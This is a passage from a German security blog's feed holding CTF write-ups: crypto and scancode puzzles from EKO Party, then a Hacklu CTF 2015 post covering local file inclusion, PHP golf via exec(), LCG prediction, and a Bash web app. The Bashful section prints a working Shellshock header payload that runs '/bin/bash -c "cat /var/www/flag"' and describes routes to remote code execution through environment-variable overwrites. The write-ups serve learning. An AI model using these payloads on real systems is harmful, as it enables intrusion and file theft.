<p>Gegeben war der folgende String <code>CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA=</code> und <a href="https://paste.internetwache.org/?fe5bd7f932675a78#681dnB8WTmHKFNFWtk8i+6FGRjYvl4dmbaUgxlMynKY=">Python Quellcode</a>.</p>

<p>Der String ist offensichtlich base64 kodiert, aber eine Dekodierung führte zu einem wenig sinnvollen Ergebnis: <code>0O{sh1_t7_uhiabe}</code>. Also musste ich doch auf den Quelltext gucken. Der Kodierungsalgorithmus verlängert die Daten auf eine durch 4 teilbare Länge. Danach werden die Daten in Stücke von 4 Byte geteilt. Jeder Block wird mit der nach 16 nach rechts geshifteten Version seiner selbst gexored. In Python kommt die Operation <code>&gt;&gt;</code> vor <code>^</code>. Die letzte Operation besteht darin, jeden Block zu packen und das Ergebnis mit base64 zu kodieren.</p>

<p>Das Hauptproblem hier ist die Nutzung von XOR in Kombination mit dem rechts-shift. Hier ist eine Handsimulation des Vorganges:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
</pre></td><td class='code'><pre><code class=''><span class='line'># 1001 &gt;&gt; 2 (9 shifted by 2 adds zeros to the beginning and the result is 0010 = 2)
</span><span class='line'># 0010 ^ 1001 (2 xored 9 is 1011 = 11; This is the result of our encryption.)
</span><span class='line'>
</span><span class='line'># 1011 &gt;&gt; 2 (11 shifted by 2 is 0010 = 2)
</span><span class='line'># 0010 ^ 1011 (11 xored with 2 is 1001 = 9)
</span><span class='line'># 1001</span></code></pre></td></tr></table></div></figure>


<p>Man beachte, dass bei einem Rechtsshift um N bits, die ersten N bits des Ergebnisses dieselben sind wie die Eingabe. Die Umkehrbarkeit von XOR (<code>(Y ^ U) ^ U = Y</code>) hilft uns bei der Wiederherstellung des verbleibenden Blockanteils. Die anderen Operationen (base64-Kodierung, Ein-/Auspacken) müssen einfach in verkehrter Reihenfolge ausgeführt werden. Hier ist der Link zu <a href="https://paste.internetwache.org/?0e0df3fd47f3d1d3#7HbbpGSW5XE9JYc3KWML7jekitt0d7XTS1s+jXCKrUY=">meinem kleinen Python Script</a> [Ich habe ein paar print/debug Ausdrücke hinzugefügt]</p>

<p><a rel="fancybox"href="/images/posts/crpt-200.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/crpt-200.png" alt="Screenshof of XOR crypter output" title="Crypto 200 challenge" /></a></p>

<p>Flagge: <code>EKO{unshifting_the_unshiftable}</code></p>

<h1>Press it</h1>

<p>Meiner Meinung nach war dies die interessanteste Challenge. Man sollte die Flagge aus der <a href="https://paste.internetwache.org/?73c1ef35da87a37b#cVk1cCjWHaIyInZVzqLMAKiQhRELSDA05gXbV9/+Bpg=">folgenden Datei</a> extrahieren: 05gXbV9/+Bpg=).</p>

<p>Zunächst dachte ich, dass es sich um zufällige Hexzahlen handelt, aber dann erinnerte ich mich an das Format/layout. Ich sah es als ich <code>/usr/bin/showkey</code> ausführte, um die <a href="https://ctftime.org/task/1779">dr.bob hacklu 2015 challenge</a> zu lösen. Ich öffnete tty2 auf meiner Maschine und startete <code>showkey -s</code> und es gab ähnliche Hexzahlen aus als ich Tasten drückte.</p>

<p>Ich googelte nach einem Programm oder einem Tool, welches den Dump automatisch wieder umkehren und mir die gedrückten Tasten ausgeben würde. Leider ohne Erfolg, also musste man selbst Hand anlegen.</p>

<p>Ich las mich durch die Showkey Manpage und lernte, dass diese Codes <code>Scancodes</code> genannt werden und diese pro Taste/Zeichen eindeutig sind. Pro Taste gibt es zwei Codes: Einen, wenn die Taste gedrückt wird, und einen wenn diese wieder losgelassen wird.</p>

<p>Der letzte Fakt ist entscheidend, denn ich versuchte erst jedes Zeichen einzeln zu behandeln und dies führte zu einem <a href="https://paste.internetwache.org/?f03edcacb49ea59e#dy38GM5s5NopfiiIPmFDofx+rp8LyJYWc/TPL4jx+Pg=">komischen Ergebnis</a>. Alle <code>?</code> oder leere Codes sind wahrscheinlich Loslass-Codes. Zusätzlich musste ich auf die harte Tour lernen, dass auch Kombinationen von Codes möglich sind. Zum Beispiel <code>0xe0 0x38</code> steht für die linke Alt-Taste. Microsoft hat eine gute <a href="http://download.microsoft.com/download/1/6/1/161ba512-40e2-4cc9-843a-923143f3456c/scancode.doc">Übersicht mit Scancode-Zuweisungen</a></p>

<p>Nachdem ich alle Scancodes ein zweites Mal durchgearbeitet habe, stand folgendes Ergebnis in meinen Notizen:  <code>This is it. EKO{ibm_model_m}</code></p>

<p>Flagge: <code>EKO{ibm_model_m}</code></p>

<h1>Weitere Challenges/Notizen</h1>

<p>Wie immer habe ich auch einen Blick auf andere Challenges geworfen, diese probiert zu lösen, aber bin dann irgendwie irgendwo stecken geblieben und kam nicht weiter. Ich bin ein wenig enttäuscht, dass ich Mr Anderson (Ich kenne den Film nicht, aber die Lösung sollte nicht so schwer sein?), Custom ACL (Ich habe hier viel Zeit verwendet - wahrscheinlich fehlt nur eine winziger Schritt) nicht lösen konnte.</p>

<h2>Mr Anderson (Trv 80)</h2>

<ul>
<li>Mr Anderson und <code>last serie</code> deuten auf <code>Mr.Robot</code></li>
<li>Ich verstehe den <code>favority music artist</code> Hinweis nicht. Ich probierte ein paar Soundtracks der letzten Episode. Kein Erfolg</li>
<li>Nicht genügend Motivation um alle möglichen Künstler zu brute-forcen.</li>
</ul>


<h2>Custom ACL (Web 100)</h2>

<ul>
<li>Entdeckung des Sources für <code>admin.php</code> unter <code>admin.phps</code> (<a href="https://paste.internetwache.org/?b42a1f2e04489a90#LdNAQ2gCgnQELttCTli4nU1MFOQxBNOtwJBWmwsRtJU=">Pastebin</a>)</li>
<li>Versuch die REMOTE_ADDR mit <code>X-Forwarded-For</code> &amp; co zu spoofen bis man lernt, dass dies wirklich nur die IP der TCP-Verbindung ist.</li>
<li>Nmap gegen die IP-Range <code>67.222.139.223-230</code> gestartet und Ergebnis ist ein Host mit ein paar interessanten Posts (<a href="https://paste.internetwache.org/?e002c0a0f9a1aa52#uQlYrlmFfmHipnn2hss5r4yhPYfMcrFxpZDhKlYDx4c=">Pastebin</a>)</li>
<li>Versuche diesen als Proxy zu nutzen schlägt mit dem Fehler <code>501 method "GET/POST/Whatever" not supported</code> fehl</li>
<li>Bermeken den <code>Server: pve-api-daemon/3.0</code>-Header, aber finden nicht heraus, wie man diesen (mis)brauchen kann.</li>
<li>Nicht genügend Zeit, um weiter darüber nachzudenken.</li>
</ul>


<h2>Crazy JSON (Web 300)</h2>

<ul>
<li><code>evaluator.js</code> fehlt auf dem Server</li>
<li>HTTP Response enthält interessantes JSON (<a href="https://paste.internetwache.org/?f792df2675f9997a#6Vj2a1SdqdulQYnq25WgivcJ710xCZ/cJQLOmqeJHjs=">Pastebin</a>)</li>
<li><code>new Ajsone()</code> Aufruf. Google führt zu einem <a href="https://github.com/alokmenghrajani/alokmenghrajani.github.com/tree/master/ajsone">github repository</a> mit einem Demo/Test-Bereich .</li>
<li>Xor (<code>^</code>) ist nicht implementiert. Implementiere es.</li>
<li>Passwort muss 32 Zeichen lang sein, aber weitere Evaluirungen führen zu einem <code>error inf loop?</code>.</li>
<li>Auch hier wird die Zeit knapp. Nichtdestotrotz interessant.</li>
</ul>


<h2>SVG Viewer (Web 400)</h2>

<ul>
<li>Hochladen von SVG mit XXE testvector -> <code>Entity declaration detected</code>  Fehler</li>
<li>Versuch, eigene, externe DTD zu nutzen, um diesen Check zu umgehen. Funktioniert nicht wirklich wie gedacht. Wechsel zu einer anderen Aufgabe</li>
</ul>


<h2>Olive (Misc 50)</h2>

<ul>
<li>Pcap mit traffic</li>
<li>Viel VNC traffic / Http traffic möglicherweise uninteressant</li>
<li>Extrahieren VNC traffic in eine Datei. Sie nach einem RFB (remote frame buffer) aus</li>
<li>Suchen eine Programm, um dies wiederzugeben. Weder rfbproxy noch vncreplay funktionieren mit den extrahierten Daten.</li>
<li>Keine Ideen mehr, wie man RFB anzeigen/wiedergeben kann.</li>
</ul>


<p>Auch diesmal vielen Dank für diesen wunderbaren CTF :)</p>

<p>Sebastian</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Hacklu CTF 2015 Writeups]]></title>
    <link href="https://www.internetwache.org/hacklu-ctf-2015-writeups-22-10-2015/"/>
    <updated>2015-10-22T13:45:00+02:00</updated>
    <id>https://www.internetwache.org/hacklu-ctf-2015-writeups</id>
    <content type="html"><![CDATA[<p>Während den letzten beiden Tagen wurde das <a href="https://ctftime.org/event/244">Hacklu CTF 2015</a> veranstaltet. Dabei handelt es sich um ein CTF (Capture the Flag) im jeopardy-Stil und Sebastian hat sein Glück einfach einmal versucht ;) In diesem Blogpost werden die folgenden Herausforderungen genauer beschrieben:</p>

<ul>
<li>Module Loader (Web, 100)</li>
<li>PHP Golf (Coding, 75)</li>
<li>Guessthenumber (Coding, 150)</li>
<li>Bashful (Web, 200)</li>
</ul>


<!-- more -->


<p>Zunächst einmal sei gesagt, dass CTF eine Menge Spaß bereiten können, besonders, wenn es einige knifflige Rätsel zu lösen gilt. Wenn man also noch nicht an einem CTF teilgenommen hat, dann sollte das dringend nachgeholt werden :). Aktuelle Infos zu CTFs finden sich unter: <a href="https://ctftime.org">ctftime.org</a>
Während diesem Capture the Flag hat Sebastian mit <a href="https://twitter.com/nobbd">Denis</a> und <a href="https://twitter.com/mazen160">Mazen160</a> zusammengearbeitet. Wenn man im Team arbeitet kann man sich gut ergänzen und einiges dazulernen.</p>

<h1>Module Loader</h1>

<p>Die erste Challenge war eine Aufgabe zum Aufwärmen: Eine Webapplikation nahm folgenden GET Parameter entgegen:  <code>$_GET['module']</code> und führte das darin übergebene Modul aus. Nach einem Blick in den Quellcode wusste man, wo sich die betreffenden Module befanden.</p>

<p><a rel="fancybox"href="/images/posts/module-loader-1.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/module-loader-1.png" alt="Bildschirmfoto vom Modul Loader im HTML Quellcode" title="Modul Loader im HTML Quelltext" /></a></p>

<p>Der Ordner <code>/modules/</code> besaß eingeschaltetes Verzeichnis-Listing, weshalb es ohne weiteres möglich war, Zugriff auf weitere Module zu erhalten (deren Namen lassen sich einfach aus den Listing entnehmen).</p>

<p><a rel="fancybox"href="/images/posts/module-loader-2.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/module-loader-2.png" alt="Bildschirmfoto des eingeschalteten Verzeichnnis-Listing" title="Verzeichnis-Listing im Ordner: modules" /></a></p>

<p>Es war zudem möglich mittels Klick auf die einzelnen Module den Quelltext dieser zu betrachten - das erwies sich allerdings nicht als besonders nützlich. Durch Manipulation des Pfades sollte in einem nächsten Schritt ermittelt werden, ob die Webapplikation gegen eine sogenannte Local File Inclusion (LFI) anfällig war und dadurch Manipulationen möglich werden:</p>

<p><a rel="fancybox"href="/images/posts/module-loader-3.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/module-loader-3.png" alt="Bildschirmfoto der local file inclusion (LFI)" title="local file inclusion (LFI) innerhalb des Modul Loaders" /></a></p>

<p>Das war schon einmal eine interessante Sache. Denis kam auf die Idee die <code>.htaccess</code>-Datei des Wurzelverzeichnisses einzubinden - gesagt, getan.</p>

<p><a rel="fancybox"href="/images/posts/module-loader-4.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/module-loader-4.png" alt="Bildschirmfoto der .htaccess-Datei des Modul Loaders" title="Modul Loader mit .htaccess" /></a></p>

<p>Der letzte Schritt war es die Datei <code>flag.php</code>aus dem Verzeichnis einzubinden.</p>

<p><a rel="fancybox"href="/images/posts/module-loader-5.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/module-loader-5.png" alt="Bildschirmfoto der Flag des Modul Loaders" title="Flag des Modul Loaders" /></a></p>

<p>Bei einem CTF ist eine Challenge mit dem erlangen der Flag abgeschlossen - das Vorgehen war also erfolgreich und zum &#8220;Warmwerden&#8221; allemal geeignet. :)</p>

<h1>PHP Golf</h1>

<p>Die nächste Challenge war extrem interessant, denn es ging darum für folgende Konditionen ein Programm in PHP zu entwerfen:</p>

<p><a rel="fancybox"href="/images/posts/php-golf-1.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/php-golf-1.png" alt="Bildschirmfoto der PHP Golf Aufgabe" title="PHP Golf Aufgabe" /></a></p>

<p>Zunächst wurde der Code ohne Berücksichtigung der Längenbeschränkung implementiert. Das Programm tat vermutlich das was es sollte, war allerdings zu lang - man musste zum Absolvieren der Challenge also reguläre Ausdrück nutzen.</p>

<p>Die nächste Version enthielt reguläre Ausdrücke und <code>preg_replace</code> mit einem <code>e</code> Modifier, um Groß- und Kleinschreibung entsprechend zu behandeln:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&lt;?=preg_replace('/(\w)([^\w]*)(\w)?/e',"strtoupper('$1').'$2'.strtolower('$3')", $argv[1]);?&gt;</span></code></pre></td></tr></table></div></figure>


<p>Mit über 90 Zeichen war diese Version leider immernoch zu lang. In dem Moment war klar, dass die langen Funktionsaufrufe <code>strtoupper</code> / <code>strtolower</code> verkürzt werden müssen.
Die Lösung sind sogenannte <a href="http://www.regular-expressions.info/unicode.html">unicode character properties</a>. Leider war es nicht möglich diese mit dem <code>replacement</code>
Parameter der <code>preg_match</code> Funktion zu nutzen, sodass es erneut mit Perl versucht wurde:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&lt;?=exec("echo '$argv[1]'|perl -pe 's~(\w)([^\w]*)(\w)?~\U\\1\E\\2\L\\3\E~g'");?&gt;</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>Der Trick ist, dass alles zwischen <code>\U</code> und <code>\E</code> in Großbuchstaben umgewandelt wird. <code>\L</code> wandelt entsprechend in Kleinbuchstaben um. Leider war <code>perl</code> auf dem Submission-Server
nicht verfügbar und der Payload war mit 80 Zeichen immer noch zu lang. Allerdings konnten wir mit <code>exec</code> und beliebigen Kommandos weiterarbeiten.
Der nächste Gedanke fiel auf das Tool  <code>sed</code>. Wie auch immer, es war bereits 2 Uhr morgens und wir entschieden uns nach Festhalten des Ansatzes auf der Mailingliste ins Bett zu gehen, um uns am nächsten Tag mit frischem Kopf  der Aufgabe anzunehmen.</p>

<p>Am nächsten Morgen hatte Denis dann bereits eine funktionsfähige Lösung erarbeitet:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&lt;?=exec("echo $argv[1]|sed -r 's/(\w)(\W*\w?)/\U\\1\L\\2/g'"); </span></code></pre></td></tr></table></div></figure>


<p>Einige Erklärungen zu dieser Lösung:</p>

<ul>
<li><code>[^\w]</code> ist dasselbe wie <code>\W</code></li>
<li><code>&lt;?=</code> ist dasselbe wie <code>&lt;? echo</code></li>
<li>Man kann <code>?&gt;</code> weglassen, wenn der Code mit einem Semikolon abgeschlossen wird.</li>
</ul>


<p>Diese Lösung hatte jedoch Probleme mit Unterstrichen <code>_</code> im originalen String, aber nach einige Versuchen entstand ein Exemplar ohne diese und wir erhielten die Flagge :).</p>

<p><a rel="fancybox"href="/images/posts/php-golf-2.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/php-golf-2.png" alt="Sceenshot of php golf solution" title="PHP golf solution" /></a></p>

<p>Fertig</p>

<h1>Guessthenumber</h1>

<p>Die Aufgabe dieser Challenge war: Hundert Zahlen in der richtigen Reihenfolge zu raten.</p>

<p><a rel="fancybox"href="/images/posts/guessthenumber-2.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/guessthenumber-2.png" alt="Sceenshot of guessthenumber task" title="Guessthenumber task" /></a></p>

<p>Die folgenden Hinweise wurden gegeben:</p>

<ul>
<li>Der Server nutzt einen <a href="https://en.wikipedia.org/wiki/Linear_congruential_generator">Linear congruential generator</a></li>
<li>Es werden die <a href="https://en.wikipedia.org/wiki/Linear_congruential_generator#Parameters_in_common_use">Standard glibc Parameter</a></li>
<li>Es wird mit dem Python strftime Format <code>YmdHMS</code> initialisiert</li>
<li>Nur Zahlen zwischen 0 und 99 (inklusive)</li>
</ul>


<p>Es erschien am Einfachsten die Lösung mit Python umzusetzen, also googelten wir nach einer LCG Implementierung/Bibliothek und entdeckten <a href="http://pcg.wikidot.com/pcg-algorithm:linear-congruential-generator">dieses Beispiel</a>.
Der nächste Schritt bestand darin, die Paramter entsprechend den Vorgaben anzupassen und den grundlegenden Server/Client Kommunikationscode zu schreiben. Soweit ganz einfach.</p>

<p>Der Server teilte uns immer seine aktuelle Zeit mit. Diese hatte wahrscheinlich irgendwas mit dem Initialisierungsformat <code>YmdHMS</code> zu tun. Nach dem Extrahieren aller nötigen Informationen mit regulären Ausdrücken, konkatenierten wir diese folgendermaßen:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>    timedata=str(year)+str(month)+str(day)+str(hour)+str(minute)+str(second)
</span><span class='line'>    seed(int(timedata))</span></code></pre></td></tr></table></div></figure>


<p>Die letzte wichtige Aufgabe bestand darin, den Modulo-Operator auf die erzeugten Zahlen anzuwenden. Sowohl 0 als auch 99 sind im gültigen Zahlenbereich, sodass wir <code>rnd() %100</code> nutzen müssen.</p>

<p>Unglücklicherweise löste dieser Ansatz die Challenge nicht, da der erste Versuch immer falsch war. Es stellte sich heraus, dass man 100 Zahlen generieren und diese in umgekehrter Reihenfolge senden musste.</p>

<p><a rel="fancybox"href="/images/posts/guessthenumber-1.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/guessthenumber-1.png" alt="Sceenshot of guessthenumber flag" title="Guessthenumber flag" /></a></p>

<p>Der komplette &#8220;quick &amp; dirty code&#8221;: <a href="https://paste.internetwache.org/?eba167b215da9a31#jXXbtgZwnAxupMgWqrHPrxfaIlQO78mljeXU0rbS/9w=">Pastebin</a></p>

<p>Fertig :)</p>

<h1>Bashful</h1>

<p>An dieser Challenge haben wir die meiste Zeit verbracht, weil es viel Mühe gekostet hat. Mazen stieg bei dieser Challege mit ein. Okay, aber alles nacheinander. Bashful ist eine Webapplikation die in Bash geschrieben wurde, um Notizen speichern zu können.</p>

<p>Hier wird zunächst die finale Lösung gepostet, bevor andere Lösungsideen diskutieret werden. Dabei ist immernoch nicht sicher, ob diese Lösung beabsichtigt war, in jedem Fall funktioniert sie gut ;)</p>

<p><a rel="fancybox"href="/images/posts/bashful-2.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/bashful-2.png" alt="Screen of bashful flag extraction" title="Bashful flag" /></a></p>

<p>Wie man sehen kann, war es möglich einen <a href="https://en.wikipedia.org/wiki/Shellshock_(software_bug">Shellshock</a>) Payload in den Request Headern unterzubringen:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>X-Foo: () { :;}; /bin/bash -c "cat /var/www/flag"</span></code></pre></td></tr></table></div></figure>


<p><em>Psst: Es gab sogar eine XSS Lücke, in dem man den XSS Payload in den Headern versteckte :D</em></p>

<p>Die Lösung ist recht enttäuschend. Man hatte so viel Spaß mit dem Quelltext, und bei dessen Durchsicht fiel mir folgende drei Funktionen auf:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>function explode {
</span><span class='line'>        IFS="$1" read -ra "$2" &lt;&lt;&lt; "$3"
</span><span class='line'>}
</span><span class='line'>function filter_nonalpha {
</span><span class='line'>        echo $(echo $1 | sed 's/[^a-zA-Z0-9.!$;?_]//g')
</span><span class='line'>}
</span><span class='line'>function parse {
</span><span class='line'>        explode '&' 'pairs' "$1"
</span><span class='line'>        for pair in "${pairs[@]}"; do
</span><span class='line'>
</span><span class='line'>            explode '=' 'keyval' "$pair"
</span><span class='line'>
</span><span class='line'>            export $(filter_nonalpha "${keyval[0]}")="${keyval[1]}"
</span><span class='line'>
</span><span class='line'>    done}
</span></code></pre></td></tr></table></div></figure>


<p>Diese Funktionen wurden später zum Parsen der Benutzereingaben verwendet:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>if [ -v QUERY_STRING ]; then
</span><span class='line'>    parse "$QUERY_STRING"
</span><span class='line'>fi</span></code></pre></td></tr></table></div></figure>


<p>Die erste interessante Sache ist das <code>sed</code> Kommando in der <code>filter_nonalpha</code> Funktion, da es alle Zeichen ersetzt, die nicht in den eckigen Klammern stehen. D.h. unsere Eingaben können <code>.!$;?</code> enthalten, was im Kontext der Bash sehr von nutzen sein kann. Die zweite interessante Sache ist die folgende Zeile aus <code>parse</code>:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>export $(filter_nonalpha "${keyval[0]}")="${keyval[1]}"</span></code></pre></td></tr></table></div></figure>


<p>Wir merken, dass nur die Variablennamen der Umgebungsvariablen gefiltert werden, jedoch nicht die Werte. Zusätzlich können wir <code>parse</code> nutzen, um beliebige Umgebungsvariablen zu setzen. Zum Beispiel mit dem Query String <code>DEBUG=1</code> wird eine Variable <code>$DEBUG</code> mit dem Wert <code>1</code> belegt.</p>

<p>Etwas weiter unten im Quelltext fand sich folgender Block:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>if [ -v DEBUG ]; then
</span><span class='line'>    echo -ne '&lt;pre&gt;'
</span><span class='line'>    printenv
</span><span class='line'>    echo -ne '&lt;/pre&gt;'
</span><span class='line'>fi</span></code></pre></td></tr></table></div></figure>


<p>Wie bereits gesagt, führt das Setzen von <code>DEBUG=</code> in der URL zur Ausgabe aller Umgebungsvariablen:</p>

<p><a rel="fancybox"href="/images/posts/bashful-1.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/bashful-1.png" alt="Screen of bashful debug information" title="Bashful debug information" /></a></p>

<p>Da wir nun wissen, dass wir andere Umgebungsvariablen setzen/überschreiben können, wird der folgende Codeblock sehr interessant:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>sessid=$(filter_nonalpha $sessid)
</span><span class='line'>if [ -z $sessid ] || [ "${#sessid}" -lt 60 ]; then 
</span><span class='line'>   echo 'like... really?'
</span><span class='line'>   exit
</span><span class='line'>fi
</span><span class='line'>sessfile=$SESSION_DIR/$sessid
</span><span class='line'>if [ -f $sessfile ]; then
</span><span class='line'>    explode '#' 'messages' "$(cat $sessfile)"
</span><span class='line'>else
</span><span class='line'>    messages=()
</span><span class='line'>fi</span></code></pre></td></tr></table></div></figure>


<p>Das Missbrauchen von <code>$SESSION_DIR</code> und  <code>$sessid</code> zum Setzen eines beliebigen Pfades in der <code>$sessfile</code> Variable, um wiederum den Inhalt dieser Datei auszulesen, hörte sich nach einem tollen Weg an, um an die Flagge zu kommen. TL;DR: Das Setzen von <code>$SESSION_DIR</code> war nicht das Problem, sondern eher die Längenprüfung der <code>$sessid</code> Variable. So war es möglich die Beschränkung mit <code>$IFS$IFS....$IFS</code> zu umgehen, allerdings scheiterte dann die Datei-Existenzprüfung (<code>[ -f $sessfile ]</code>).</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>if [ ! -v page ]; then
</span><span class='line'>    page=home
</span><span class='line'>else
</span><span class='line'>    page=$(filter_nonalpha "$page")
</span><span class='line'>fi
</span><span class='line'>if [[ "$page" == "index" ]]; then
</span><span class='line'>    page=home
</span><span class='line'>fi
</span><span class='line'>file="$DOCUMENT_ROOT/$page.sh"
</span><span class='line'>if [ ! -f $file ]; then
</span><span class='line'>    &gt;&2 echo "Can't load $file"
</span><span class='line'>    file="$DOCUMENT_ROOT/404.sh"
</span><span class='line'>fi
</span><span class='line'>source $file</span></code></pre></td></tr></table></div></figure>


<p>Das sah sogar noch viel spannender aus, da es direkt zu einer RCE führen könnte. Wieder nutzen wir die bekannte Methode, um die Variablen <code>$DOCUMENT_ROOT</code> und <code>$page</code> zu bearbeiten. Die Kombination dieser beiden würde dann gesourced (ausgeführt) werden. Wir müssten nur unsere Kommandos in eine Datei schreiben, welche auf <code>.sh</code> endet und im Document Root oder woanders liegt.</p>

<p>Wir konnten uns zwei Wege überlegen, wie man die RCE ausnutzen könnte:</p>

<p>Der erste Weg bestand darin, <code>$SESSION_DIR=/var/www/</code> und <code>$sessid=aaaa...aaa.sh</code> (60+ mal a und <code>.sh</code>) zu setzen. Dies würde zu <code>$sessfile=/var/www/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.sh</code> führen. Das Speichern einer Notiz mit diesen Parametern würde eine <code>$sessfile</code> Datei erstellen. Leider funktionierte das auf Grund fehlender Schreibrechte nicht. Wir erhielten nur einen 500er vom Server.</p>

<p>Die andere Idee bestand darin, <code>$SESSION_DIR=/var/sessions</code> und <code>$sessid</code> genauso wie oben zu setzen, um eine Session-Datei mit der Endung <code>.sh</code> zu erstellen. Der zweite Schritt würde darin bestehen, <code>DOCUMENT_ROOT=/var/sessions</code> und <code>$page=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</code> zu setzen. Allerdings scheiterte auch dieser Versuch, da der Webserver die <code>index.sh</code> nicht finden konnte.</p>

<p>Im Nachhinein macht der letztere Ansatz nicht wirklich Sinn. Aber vielleicht gibt es ja irgendwelche &#8220;Bash-Magic&#8221; die genutzt werden könnte, um die Parameter entsprechend so zu setzen, dass die RCE ausgeführt wird. Wie auch immer: Es ist lustig zu sehen, dass die Lösung für diese Challenge einfach war, und wir viel zu übermotiviert herangegangen sind.</p>

<h1>Andere Challenges</h1>

<p>Wir hatte noch einen Blick auf andere Challenges, können jedoch nur ein paar Ideen bzw. Ansätze nennen. Möglicherweise sind alle nicht richtig und/oder etwas sinnlos:</p>

<h2>Grading-Board (Web):</h2>

<ul>
<li>Irgendwas mit SQL Injection</li>
<li>Möglichweise muss man <code>grant options</code> nutzen, um anderen Zugriff auf die eigene Tabellen zu geben.</li>
</ul>


<h2>Dr.Bob (Forensic):</h2>

<ul>
<li>Das .vdi Image mit <code>qemu-nbd</code> einbinden</li>
<li>LVM volume, aber verschlüsselt und Passwort ist unbekannt.</li>
<li>VirtualBox nutzen, um den gespeicherten Zustand wiederherzustellen, aber keine Passwörter für die Nutzer bekannt.</li>
<li>Volatility testen/nutzen, um (nützliche) Informationen zu ermitteln</li>
<li>VM booten und <code>init=/bin/bash rw</code> Kernelparameter nutzen, um in eine root-shell zu gelangen. Nach verdächtigen Dateien suchen. Kein Glück :(</li>
</ul>


<h2>Teacher&#8217;s Pinboard (Web):</h2>

<ul>
<li>Am Ende der <code>pickle.js</code> steht, dass  <code>splice/slice</code> verwechselt/vertauscht wurden und man es beheben soll.</li>
<li>Pickle ist irgendeine Enkodierung. Informationen aus dem Cookie <code>accountinfo</code> werden dekodiert und genutzt.</li>
<li>Idee: Die Single-Page-App speichern und pickle.js beheben. Hoffen, dass das hilft, die Flagge von den Default-Notizen zu extrahieren.</li>
</ul>


<h1>Zukünftige CTFs</h1>

<p>Wir denken, dass wir öfters in zukünftigen Jeopardy-Stil CTFs mitmachen werden, wenn es unsere Freizeit erlaubt. Es macht wirklich wirklich viel Spaß und hilft einem neue Ideen/Wege zu erkunden.</p>

<p>Wir hoffen das hilft irgendwie weiter,
Team der Internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Unterstützung des AUR mit Sicherheitstools]]></title>
    <link href="https://www.internetwache.org/unterstutzung-des-aur-mit-sicherheitstools-18-10-2015/"/>
    <updated>2015-10-18T15:17:00+02:00</updated>
